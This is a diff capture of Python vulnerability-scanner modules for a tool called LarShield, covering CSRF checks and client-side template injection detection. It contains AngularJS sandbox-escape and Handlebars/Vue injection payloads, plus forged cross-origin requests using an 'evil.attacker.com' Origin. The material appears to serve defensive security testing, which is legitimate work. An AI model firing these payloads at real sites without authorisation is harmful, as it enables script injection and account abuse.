except Exception as ex:
|
| 198 |
+
self.log("ERROR", f"[CSRF] _submit_without_token_succeeds error: {ex}")
|
| 199 |
+
return False
|
| 200 |
+
|
| 201 |
+
# ------------------------------------------------------------------
|
| 202 |
+
def _probe_endpoints(self):
|
| 203 |
+
"""Probe common action endpoints for missing CSRF protection."""
|
| 204 |
+
common_actions = [
|
| 205 |
+
"/account/settings", "/user/update", "/profile/edit",
|
| 206 |
+
"/password/change", "/email/change", "/admin/action",
|
| 207 |
+
"/api/user", "/api/account", "/api/settings",
|
| 208 |
+
]
|
| 209 |
+
base = self.target.rstrip("/")
|
| 210 |
+
for path in common_actions:
|
| 211 |
+
url = f"{base}{path}"
|
| 212 |
+
self._tested += 1
|
| 213 |
+
if self._submit_without_token_succeeds(url, "POST", []):
|
| 214 |
+
self.log("WARNING",
|
| 215 |
+
f"[CSRF] Endpoint {url} accepted cross-origin POST without token")
|
| 216 |
+
self._found += 1
|
| 217 |
+
self.add_vuln(
|
| 218 |
+
title=f"CSRF — API Endpoint '{path}' Accepts Cross-Origin POST",
|
| 219 |
+
severity="Medium",
|
| 220 |
+
category="CSRF",
|
| 221 |
+
cvss_score=6.5,
|
| 222 |
+
description=(
|
| 223 |
+
f"The endpoint `{url}` accepted a POST request from a cross-origin "
|
| 224 |
+
"`evil.attacker.com` without a CSRF token, Content-Type restriction, "
|
| 225 |
+
"or Origin validation."
|
| 226 |
+
),
|
| 227 |
+
remediation=(
|
| 228 |
+
"Validate the Origin / Referer header on all state-changing API "
|
| 229 |
+
"endpoints. Require a CSRF token header (X-CSRF-Token) or use "
|
| 230 |
+
"SameSite=Strict cookies."
|
| 231 |
+
),
|
| 232 |
+
cwe_ids=["CWE-352"],
|
| 233 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 234 |
+
)
|
| 235 |
+
|
| 236 |
+
# ------------------------------------------------------------------
|
| 237 |
+
def _check_origin_header_validation(self):
|
| 238 |
+
"""Test if the server validates the Origin header on state-changing endpoints."""
|
| 239 |
+
test_endpoints = self._crawl_forms()
|
| 240 |
+
tested_actions = set()
|
| 241 |
+
|
| 242 |
+
for form in test_endpoints:
|
| 243 |
+
action = form.get("action") or self.target
|
| 244 |
+
method = form.get("method", "post").upper()
|
| 245 |
+
if method not in ("POST", "PUT", "PATCH", "DELETE"):
|
| 246 |
+
continue
|
| 247 |
+
if action in tested_actions:
|
| 248 |
+
continue
|
| 249 |
+
tested_actions.add(action)
|
| 250 |
+
self._tested += 1
|
| 251 |
+
|
| 252 |
+
data = {"test": "csrf_origin_check"}
|
| 253 |
+
encoded = urllib.parse.urlencode(data).encode()
|
| 254 |
+
|
| 255 |
+
# PROBE: send request with missing Origin header
|
| 256 |
+
headers_no_origin = {"User-Agent": "LarShield/2.0 CSRF-Probe", "Content-Type": "application/x-www-form-urlencoded"}
|
| 257 |
+
body, status_no = self._make_request(action, method=method, data=encoded, headers=headers_no_origin, timeout=8)
|
| 258 |
+
|
| 259 |
+
# PROBE: send request with attacker Origin header
|
| 260 |
+
headers_evil = dict(headers_no_origin)
|
| 261 |
+
headers_evil["Origin"] = "https://evil.attacker.com"
|
| 262 |
+
body, status_evil = self._make_request(action, method=method, data=encoded, headers=headers_evil, timeout=8)
|
| 263 |
+
|
| 264 |
+
# CONFIRM: if both succeed, Origin validation is missing
|
| 265 |
+
if status_no and status_evil and status_no in range(200, 300) and status_evil in range(200, 300):
|
| 266 |
+
self._found += 1
|
| 267 |
+
self.log("WARNING", f"[CSRF] No Origin header validation at {action}")
|
| 268 |
+
self.add_vuln(
|
| 269 |
+
title=f"CSRF — Missing Origin Header Validation at '{action}'",
|
| 270 |
+
severity="High",
|
| 271 |
+
category="CSRF",
|
| 272 |
+
cvss_score=7.5,
|
| 273 |
+
description=f"The endpoint `{action}` accepted requests with no Origin header "
|
| 274 |
+
"and with a spoofed Origin header from `evil.attacker.com`. "
|
| 275 |
+
"This means the server does not validate the Origin header, making "
|
| 276 |
+
"CSRF attacks possible from any origin.",
|
| 277 |
+
evidence=f"No-Origin: {status_no}, Attacker-Origin: {status_evil}",
|
| 278 |
+
request_details=f"{method} {action} (with and without Origin header)",
|
| 279 |
+
response_details=f"Status without Origin: {status_no}, with attacker Origin: {status_evil}",
|
| 280 |
+
confidence="Confirmed",
|
| 281 |
+
remediation="1. Validate the Origin header on all state-changing requests.\n"
|
| 282 |
+
"2. Maintain an allowlist of permitted origins.\n"
|
| 283 |
+
"3. Reject requests with unexpected or missing Origin headers.",
|
| 284 |
+
cwe_ids=["CWE-352"],
|
| 285 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 286 |
+
)
|
| 287 |
+
|
| 288 |
+
# ------------------------------------------------------------------
|
| 289 |
+
def _check_custom_header_validation(self):
|
| 290 |
+
"""Test if the server validates a custom CSRF header like X-CSRF-Token or X-Requested-With."""
|
| 291 |
+
custom_headers = ["X-CSRF-Token", "X-XSRF-Token", "X-Requested-With", "X-CSRF", "X-Antiforgery"]
|
| 292 |
+
test_endpoints = self._crawl_forms()
|
| 293 |
+
tested_actions = set()
|
| 294 |
+
|
| 295 |
+
for form in test_endpoints:
|
| 296 |
+
action = form.get("action") or self.target
|
| 297 |
+
method = form.get("method", "post").upper()
|
| 298 |
+
if method not in ("POST", "PUT", "PATCH", "DELETE"):
|
| 299 |
+
continue
|
| 300 |
+
if action in tested_actions:
|
| 301 |
+
continue
|
| 302 |
+
tested_actions.add(action)
|
| 303 |
+
self._tested += 1
|
| 304 |
+
|
| 305 |
+
data = {"test": "csrf_header_check"}
|
| 306 |
+
encoded = urllib.parse.urlencode(data).encode()
|
| 307 |
+
|
| 308 |
+
# Test request with each custom CSRF header
|
| 309 |
+
for hdr in custom_headers:
|
| 310 |
+
headers = {
|
| 311 |
+
"User-Agent": "LarShield/2.0 CSRF-Probe",
|
| 312 |
+
"Content-Type": "application/x-www-form-urlencoded",
|
| 313 |
+
hdr: "test-csrf-value",
|
| 314 |
+
}
|
| 315 |
+
body, status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
|
| 316 |
+
|
| 317 |
+
if status in range(200, 300):
|
| 318 |
+
self.log("SUCCESS", f"[CSRF] {action} accepts custom header {hdr} — CSRF protection may be header-based")
|
| 319 |
+
self.add_vuln(
|
| 320 |
+
title=f"CSRF — Protection Relies on Custom Header '{hdr}'",
|
| 321 |
+
severity="Low",
|
| 322 |
+
category="CSRF",
|
| 323 |
+
cvss_score=0.0,
|
| 324 |
+
description=f"The endpoint `{action}` accepted a request with the custom "
|
| 325 |
+
f"header `{hdr}`. If the server relies solely on custom headers for "
|
| 326 |
+
"CSRF protection (double-submit cookie pattern), this can be bypassed "
|
| 327 |
+
"if an attacker can set cookies in the victim's browser.",
|
| 328 |
+
evidence=f"Accepted {method} {action} with {hdr}: test-csrf-value",
|
| 329 |
+
request_details=f"{method} {action} with header {hdr}",
|
| 330 |
+
response_details=f"HTTP {status}",
|
| 331 |
+
confidence="Info",
|
| 332 |
+
remediation="1. Use SameSite=Strict cookies as defence-in-depth.\n"
|
| 333 |
+
"2. Combine custom headers with Origin/Referer validation.\n"
|
| 334 |
+
"3. Ensure custom headers cannot be set by third-party scripts.",
|
| 335 |
+
cwe_ids=["CWE-352"],
|
| 336 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 337 |
+
)
|
| 338 |
+
|
| 339 |
+
# ------------------------------------------------------------------
|
| 340 |
+
def _check_samesite_cookie_attribute(self):
|
| 341 |
+
"""Check if cookies set by the application have SameSite attribute for CSRF protection."""
|
| 342 |
+
try:
|
| 343 |
+
result = self._make_request(self.target, timeout=8, return_response_obj=True)
|
| 344 |
+
if not result or len(result) < 3:
|
| 345 |
+
return
|
| 346 |
+
body, status, resp_headers = result
|
| 347 |
+
if resp_headers is None:
|
| 348 |
+
return
|
| 349 |
+
set_cookies = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
|
| 350 |
+
if not set_cookies:
|
| 351 |
+
return
|
| 352 |
+
for raw in set_cookies:
|
| 353 |
+
samesite_match = re.search(r'SameSite=(Strict|Lax|None)', raw, re.I)
|
| 354 |
+
if not samesite_match:
|
| 355 |
+
cookie_name = raw.split("=")[0] if "=" in raw else "unknown"
|
| 356 |
+
self.add_vuln(
|
| 357 |
+
title=f"Cookie '{cookie_name}' Missing SameSite Attribute",
|
| 358 |
+
severity="Medium",
|
| 359 |
+
category="CSRF",
|
| 360 |
+
cvss_score=5.3,
|
| 361 |
+
description=f"The cookie `{cookie_name}` set by the application does not "
|
| 362 |
+
"include the SameSite attribute. Without SameSite, cookies are sent "
|
| 363 |
+
"on cross-site requests, enabling CSRF attacks.",
|
| 364 |
+
evidence=f"Set-Cookie: {raw[:80]}",
|
| 365 |
+
request_details=f"GET {self.target}",
|
| 366 |
+
response_details=f"Set-Cookie: {raw[:80]}",
|
| 367 |
+
confidence="Confirmed",
|
| 368 |
+
remediation="1. Set SameSite=Strict on session cookies.\n"
|
| 369 |
+
"2. Use SameSite=Lax for cookies that need to persist across safe navigations.\n"
|
| 370 |
+
"3. Avoid SameSite=None unless required and combined with Secure flag.",
|
| 371 |
+
cwe_ids=["CWE-352"],
|
| 372 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 373 |
+
)
|
| 374 |
+
except Exception as e:
|
| 375 |
+
self.log("DEBUG", f"[CSRF] _check_samesite_cookie_attribute error: {e}")
|
| 376 |
+
|
| 377 |
+
# ------------------------------------------------------------------
|
| 378 |
+
def _detect_anti_csrf_patterns(self):
|
| 379 |
+
"""Detect anti-CSRF token patterns in HTML/JS responses to assess protection coverage."""
|
| 380 |
+
probe_paths = ["/", "/login", "/register", "/account", "/admin", "/api/csrf-token"]
|
| 381 |
+
base = self.target.rstrip("/")
|
| 382 |
+
|
| 383 |
+
csrf_patterns = {
|
| 384 |
+
"meta[name=\"csrf-token\"]": re.compile(r'meta\s+name=["\']csrf-token["\']', re.I),
|
| 385 |
+
"X-CSRF-Token header": re.compile(r'X-CSRF-Token', re.I),
|
| 386 |
+
"csrf_token variable": re.compile(r'(csrfToken|csrf_token|csrfToken)', re.I),
|
| 387 |
+
"antiForgeryToken": re.compile(r'antiForgeryToken', re.I),
|
| 388 |
+
"__RequestVerificationToken": re.compile(r'__RequestVerificationToken', re.I),
|
| 389 |
+
}
|
| 390 |
+
|
| 391 |
+
for path in probe_paths:
|
| 392 |
+
url = f"{base}{path}"
|
| 393 |
+
body, status = self._make_request(url, timeout=5)
|
| 394 |
+
if not body:
|
| 395 |
+
continue
|
| 396 |
+
|
| 397 |
+
found_patterns = [name for name, pattern in csrf_patterns.items() if pattern.search(body)]
|
| 398 |
+
|
| 399 |
+
if found_patterns:
|
| 400 |
+
self.log("SUCCESS", f"[CSRF] Anti-CSRF pattern(s) found at {url}: {', '.join(found_patterns)}")
|
| 401 |
+
|
| 402 |
+
# Record baseline size for anomaly detection
|
| 403 |
+
if status and status in range(200, 300):
|
| 404 |
+
self._size_detector.record_size(len(body))
|
| 405 |
+
|
| 406 |
+
self.add_vuln(
|
| 407 |
+
title=f"Anti-CSRF Protection Patterns Detected at '{path}'",
|
| 408 |
+
severity="Low",
|
| 409 |
+
category="CSRF",
|
| 410 |
+
cvss_score=0.0,
|
| 411 |
+
description=f"The page `{url}` contains CSRF protection patterns: "
|
| 412 |
+
f"{', '.join(found_patterns)}. These should be verified for correct "
|
| 413 |
+
"implementation (token uniqueness, per-session binding, server-side validation).",
|
| 414 |
+
evidence=f"Patterns found: {', '.join(found_patterns)}",
|
| 415 |
+
request_details=f"GET {url}",
|
| 416 |
+
response_details=f"HTTP {status}",
|
| 417 |
+
confidence="Info",
|
| 418 |
+
remediation="Verify that CSRF tokens are: 1) Cryptographically random, "
|
| 419 |
+
"2) Bound to the user session, 3) Validated server-side on every request.",
|
| 420 |
+
cwe_ids=["CWE-352"],
|
| 421 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 422 |
+
)
|
| 423 |
+
return
|
| 424 |
+
|
| 425 |
+
def _test_samesite_lax_vs_strict(self):
|
| 426 |
+
try:
|
| 427 |
+
result = self._make_request(self.target, timeout=8, return_response_obj=True)
|
| 428 |
+
if not result or len(result) < 3:
|
| 429 |
+
return
|
| 430 |
+
body, status, resp_headers = result
|
| 431 |
+
if resp_headers is None:
|
| 432 |
+
return
|
| 433 |
+
set_cookies = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
|
| 434 |
+
if not set_cookies:
|
| 435 |
+
return
|
| 436 |
+
for raw in set_cookies:
|
| 437 |
+
lax_match = re.search(r'SameSite=Lax', raw, re.I)
|
| 438 |
+
if lax_match:
|
| 439 |
+
cookie_name = raw.split("=")[0] if "=" in raw else "unknown"
|
| 440 |
+
self.add_vuln(
|
| 441 |
+
title=f"Cookie '{cookie_name}' Uses SameSite=Lax",
|
| 442 |
+
severity="Low",
|
| 443 |
+
category="CSRF",
|
| 444 |
+
cvss_score=0.0,
|
| 445 |
+
description=f"The cookie `{cookie_name}` uses SameSite=Lax. Lax mode permits cookies on top-level GET navigations, which may still enable certain CSRF attacks (e.g., GET-based state changes). Strict mode is recommended for sensitive operations.",
|
| 446 |
+
evidence=f"Set-Cookie: {raw[:80]}",
|
| 447 |
+
request_details=f"GET {self.target}",
|
| 448 |
+
response_details=f"Set-Cookie: {raw[:80]}",
|
| 449 |
+
confidence="Info",
|
| 450 |
+
remediation="Consider using SameSite=Strict for session cookies on sensitive endpoints to provide stronger CSRF protection.",
|
| 451 |
+
cwe_ids=["CWE-352"],
|
| 452 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 453 |
+
)
|
| 454 |
+
except Exception as e:
|
| 455 |
+
self.log("DEBUG", f"[CSRF] _test_samesite_lax_vs_strict error: {e}")
|
| 456 |
+
|
| 457 |
+
def _test_csrf_size_anomaly(self):
|
| 458 |
+
if not self._size_detector.has_baseline:
|
| 459 |
+
return
|
| 460 |
+
test_endpoints = self._crawl_forms()
|
| 461 |
+
for form in test_endpoints:
|
| 462 |
+
action = form.get("action") or self.target
|
| 463 |
+
method = form.get("method", "post").upper()
|
| 464 |
+
if method not in ("POST", "PUT", "PATCH", "DELETE"):
|
| 465 |
+
continue
|
| 466 |
+
data = {"test": "csrf_anomaly_check"}
|
| 467 |
+
encoded = urllib.parse.urlencode(data).encode()
|
| 468 |
+
headers = {
|
| 469 |
+
"User-Agent": "LarShield/2.0 CSRF-Probe",
|
| 470 |
+
"Content-Type": "application/x-www-form-urlencoded",
|
| 471 |
+
"Origin": "https://evil.attacker.com",
|
| 472 |
+
}
|
| 473 |
+
headers.update(self.auth_headers or {})
|
| 474 |
+
test_body, test_status = self._make_request(action, method=method, data=encoded, headers=headers, timeout=8)
|
| 475 |
+
if test_body and self._size_detector.test_size(len(test_body)):
|
| 476 |
+
self.log("WARNING",
|
| 477 |
+
f"[CSRF] Size anomaly at {action}: {len(test_body)} bytes "
|
| 478 |
+
f"(z={self._size_detector.z_score(float(len(test_body))):.1f})")
|
| 479 |
+
self._found += 1
|
| 480 |
+
self.add_vuln(
|
| 481 |
+
title=f"CSRF — Response Size Anomaly at '{action}'",
|
| 482 |
+
severity="Medium",
|
| 483 |
+
category="CSRF",
|
| 484 |
+
cvss_score=5.3,
|
| 485 |
+
description=f"The endpoint `{action}` returned an anomalous response size ({len(test_body)} bytes) "
|
| 486 |
+
"when accessed without a valid CSRF token. This may indicate partial CSRF protection that "
|
| 487 |
+
"doesn't fully block forged requests.",
|
| 488 |
+
evidence=f"Response size: {len(test_body)} bytes (z-score anomaly)",
|
| 489 |
+
request_details=f"{method} {action} (without CSRF token)",
|
| 490 |
+
response_details=f"HTTP {test_status}, body length: {len(test_body)}",
|
| 491 |
+
confidence="Medium",
|
| 492 |
+
remediation="Ensure CSRF tokens are validated server-side on all state-changing requests.",
|
| 493 |
+
cwe_ids=["CWE-352"],
|
| 494 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 495 |
+
)
|
backend/scanners/csti_scanner.py
ADDED
|
@@ -0,0 +1,186 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
csti_scanner.py — Client-Side Template Injection (CSTI) Scanner
|
| 3 |
+
===============================================================
|
| 4 |
+
Distinct from SSTI (server-side). CSTI targets AngularJS/Vue sandbox escapes
|
| 5 |
+
that execute entirely in the browser — the server never sees the payload.
|
| 6 |
+
Detects AngularJS ng-app scope, Vue template markers, and reflected template
|
| 7 |
+
expression delimiters in the response.
|
| 8 |
+
"""
|
| 9 |
+
import re, urllib.parse
|
| 10 |
+
from scanners.base_scanner import BaseScanner
|
| 11 |
+
|
| 12 |
+
CSTI_PAYLOADS = [
|
| 13 |
+
("{{7*7}}", "AngularJS template expression — expects 49 in response"),
|
| 14 |
+
("{{constructor.constructor('7*7')()|toString}}", "AngularJS sandbox escape"),
|
| 15 |
+
("{{$eval('7*7')}}", "AngularJS $eval injection"),
|
| 16 |
+
("{{$on.constructor('alert(1)')()}}", "AngularJS sandbox escape v2"),
|
| 17 |
+
("{{a='constructor';b='alert(1)';a[b]()}}", "AngularJS sandbox escape via constructor"),
|
| 18 |
+
("{{7*7}}", "Vue.js template expression"),
|
| 19 |
+
("${7*7}", "ES6 template literal injection"),
|
| 20 |
+
("{{{7*7}}}", "Handlebars unescaped expression"),
|
| 21 |
+
("{{_openBlock()}}", "Vue 3 reactivity probe"),
|
| 22 |
+
("{{_observe}}", "Vue reactivity detection"),
|
| 23 |
+
("{{__ob__}}", "Vue observer detection"),
|
| 24 |
+
("{{$parent.$parent.$options}}", "Vue component traversal"),
|
| 25 |
+
("{{#with 'sse' as |obj|}}{{obj.constructor.constructor('alert(1)')()}}{{/with}}", "Handlebars SSTI escape"),
|
| 26 |
+
("{{7*7}}", "Generic template expression"),
|
| 27 |
+
]
|
| 28 |
+
|
| 29 |
+
FRAMEWORK_MARKERS = {
|
| 30 |
+
"angular": ["ng-app", "ng-controller", "ng-model", "angular.js", "angular.min.js",
|
| 31 |
+
"x-ng-", "data-ng-", "@angular/", "angularjs"],
|
| 32 |
+
"vue": ["v-bind", "v-model", "v-for", "v-if", "vue.js", "vue.min.js",
|
| 33 |
+
"Vue.createApp", "createApp(", "@vue/"],
|
| 34 |
+
"react": ["react.js", "react.min.js", "ReactDOM", "data-reactroot"],
|
| 35 |
+
"handlebars": ["handlebars", "Handlebars", "{{", "{{{", "template: Handlebars"],
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
|
| 39 |
+
class CstiScanner(BaseScanner):
|
| 40 |
+
SCANNER_NAME = "Client-Side Template Injection (CSTI) Scanner"
|
| 41 |
+
_SCANNER_KEY = "csti"
|
| 42 |
+
|
| 43 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 44 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 45 |
+
|
| 46 |
+
def run(self) -> list:
|
| 47 |
+
self.log("INFO", f"[CSTI] Scanning for client-side template injection on {self.target}...")
|
| 48 |
+
html, status = self._make_request(self.target)
|
| 49 |
+
if html is None:
|
| 50 |
+
self.log("WARNING", f"[CSTI] Error fetching page")
|
| 51 |
+
return self.vulns
|
| 52 |
+
|
| 53 |
+
detected_fw = []
|
| 54 |
+
html_lower = html.lower()
|
| 55 |
+
for fw, markers in FRAMEWORK_MARKERS.items():
|
| 56 |
+
if any(m.lower() in html_lower for m in markers):
|
| 57 |
+
detected_fw.append(fw)
|
| 58 |
+
self.log("INFO", f"[CSTI] Detected framework: {fw}")
|
| 59 |
+
|
| 60 |
+
if not detected_fw:
|
| 61 |
+
self.log("SUCCESS", "[CSTI] No client-side template frameworks detected.")
|
| 62 |
+
return self.vulns
|
| 63 |
+
|
| 64 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 65 |
+
qs = urllib.parse.parse_qsl(parsed.query)
|
| 66 |
+
|
| 67 |
+
tested = False
|
| 68 |
+
for k, v in qs[:3]:
|
| 69 |
+
for payload, desc in CSTI_PAYLOADS:
|
| 70 |
+
injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
|
| 71 |
+
url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
|
| 72 |
+
resp, rstatus = self._make_request(url)
|
| 73 |
+
if resp is None:
|
| 74 |
+
continue
|
| 75 |
+
tested = True
|
| 76 |
+
if "49" in resp and payload in ("{{7*7}}", "${7*7}"):
|
| 77 |
+
self.add_vuln(
|
| 78 |
+
title=f"CSTI Confirmed — Template Expression Evaluated in `{k}`",
|
| 79 |
+
severity="High",
|
| 80 |
+
category="Client-Side Template Injection",
|
| 81 |
+
cvss_score=8.0,
|
| 82 |
+
description=f"Injecting `{payload}` into `{k}` caused the server to "
|
| 83 |
+
f"reflect `49` — confirming the template engine evaluated `7*7`. "
|
| 84 |
+
f"Detected framework(s): {', '.join(detected_fw)}.\n\n"
|
| 85 |
+
"CSTI enables arbitrary JavaScript execution in the victim's browser "
|
| 86 |
+
"via sandbox escape payloads.",
|
| 87 |
+
remediation="1. Never render raw user input inside AngularJS/Vue templates.\n"
|
| 88 |
+
"2. Use Angular's DomSanitizer / Vue's v-text instead of v-html.\n"
|
| 89 |
+
"3. Set Angular's $compileProvider.debugInfoEnabled(false).\n"
|
| 90 |
+
"4. Upgrade to Angular 2+ (no longer uses string-based templates).",
|
| 91 |
+
evidence=f"Parameter `{k}` evaluated `{payload}` to `49` in response",
|
| 92 |
+
payload=payload,
|
| 93 |
+
request_details=f"GET {url}",
|
| 94 |
+
response_details=resp[:500],
|
| 95 |
+
confidence="Confirmed",
|
| 96 |
+
)
|
| 97 |
+
self.log("CRITICAL", f"[CSTI] Expression evaluated in `{k}`!")
|
| 98 |
+
return self.vulns
|
| 99 |
+
elif payload in resp and "{{" in resp:
|
| 100 |
+
self.add_vuln(
|
| 101 |
+
title=f"Template Delimiter Reflected in `{k}` — Possible CSTI",
|
| 102 |
+
severity="Medium",
|
| 103 |
+
category="Client-Side Template Injection",
|
| 104 |
+
cvss_score=5.3,
|
| 105 |
+
description=f"Template payload `{payload}` was reflected back in the "
|
| 106 |
+
f"response. If the page uses {', '.join(detected_fw)}, the browser "
|
| 107 |
+
"may evaluate this as a live template expression.",
|
| 108 |
+
remediation="Sanitize and encode template delimiters ({{ }}) in user output.",
|
| 109 |
+
evidence=f"Payload `{payload}` reflected in response",
|
| 110 |
+
payload=payload,
|
| 111 |
+
confidence="Medium",
|
| 112 |
+
)
|
| 113 |
+
|
| 114 |
+
if detected_fw:
|
| 115 |
+
self.add_vuln(
|
| 116 |
+
title=f"Client-Side Template Framework Detected: {', '.join(fw.title() for fw in detected_fw)}",
|
| 117 |
+
severity="Low",
|
| 118 |
+
category="Client-Side Template Injection",
|
| 119 |
+
cvss_score=0.0,
|
| 120 |
+
description=f"Page uses {', '.join(detected_fw)} — manual CSTI testing recommended "
|
| 121 |
+
"via Burp Suite with payloads: `{{constructor.constructor('alert(1)')()}}` (AngularJS) "
|
| 122 |
+
"or `{{_openBlock()}}` (Vue 3).",
|
| 123 |
+
remediation="Audit all template rendering paths for user-controlled input.",
|
| 124 |
+
confidence="Info",
|
| 125 |
+
)
|
| 126 |
+
|
| 127 |
+
self._test_angular_sandbox_escape(detected_fw, qs, parsed)
|
| 128 |
+
self._test_vue_template_injection(detected_fw, qs, parsed)
|
| 129 |
+
|
| 130 |
+
if not self.vulns:
|
| 131 |
+
self.log("SUCCESS", "[CSTI] No CSTI vulnerabilities detected.")
|
| 132 |
+
return self.vulns
|
| 133 |
+
|
| 134 |
+
def _test_angular_sandbox_escape(self, detected_fw, qs, parsed):
|
| 135 |
+
if "angular" not in detected_fw:
|
| 136 |
+
return
|
| 137 |
+
angular_payloads = [
|
| 138 |
+
"{{constructor.constructor('alert(1)')()}}",
|
| 139 |
+
"{{$on.constructor('alert(1)')()}}",
|
| 140 |
+
"{{a='constructor';b='alert(1)';a[b]()}}",
|
| 141 |
+
]
|
| 142 |
+
for k, v in qs[:2]:
|
| 143 |
+
for payload in angular_payloads:
|
| 144 |
+
injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
|
| 145 |
+
url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
|
| 146 |
+
resp, status = self._make_request(url)
|
| 147 |
+
if resp and payload[:30] in resp:
|
| 148 |
+
self.add_vuln(
|
| 149 |
+
title=f"Angular Sandbox Escape Possible via `{k}`",
|
| 150 |
+
severity="Critical",
|
| 151 |
+
category="Client-Side Template Injection",
|
| 152 |
+
cvss_score=9.3,
|
| 153 |
+
description=f"Angular sandbox escape payload `{payload[:60]}...` reflected via `{k}`. "
|
| 154 |
+
"If AngularJS evaluates this, arbitrary JS execution is possible.",
|
| 155 |
+
remediation="Upgrade to Angular 2+ or disable string-based template compilation.",
|
| 156 |
+
evidence=f"Angular sandbox escape payload reflected: {payload[:60]}",
|
| 157 |
+
payload=payload,
|
| 158 |
+
confidence="High",
|
| 159 |
+
)
|
| 160 |
+
|
| 161 |
+
def _test_vue_template_injection(self, detected_fw, qs, parsed):
|
| 162 |
+
if "vue" not in detected_fw:
|
| 163 |
+
return
|
| 164 |
+
vue_payloads = [
|
| 165 |
+
"{{_openBlock()}}",
|
| 166 |
+
"{{__ob__}}",
|
| 167 |
+
"{{$parent.$parent.$options}}",
|
| 168 |
+
]
|
| 169 |
+
for k, v in qs[:2]:
|
| 170 |
+
for payload in vue_payloads:
|
| 171 |
+
injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
|
| 172 |
+
url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
|
| 173 |
+
resp, status = self._make_request(url)
|
| 174 |
+
if resp and payload[:20] in resp:
|
| 175 |
+
self.add_vuln(
|
| 176 |
+
title=f"Vue.js Template Injection Possible via `{k}`",
|
| 177 |
+
severity="High",
|
| 178 |
+
category="Client-Side Template Injection",
|
| 179 |
+
cvss_score=7.5,
|
| 180 |
+
description=f"Vue.js reactivity payload `{payload}` reflected via `{k}`. "
|
| 181 |
+
"May indicate Vue template injection if the expression is evaluated.",
|
| 182 |
+
remediation="Use v-text instead of {{ }} interpolation for user-controlled data.",
|
| 183 |
+
evidence=f"Vue payload reflected: {payload}",
|
| 184 |
+
payload=payload,
|
| 185 |
+
confidence="Medium",
|
| 186 |
+
)
|
backend/scanners/custom_website_scanner.py
ADDED
|
@@ -0,0 +1,288 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
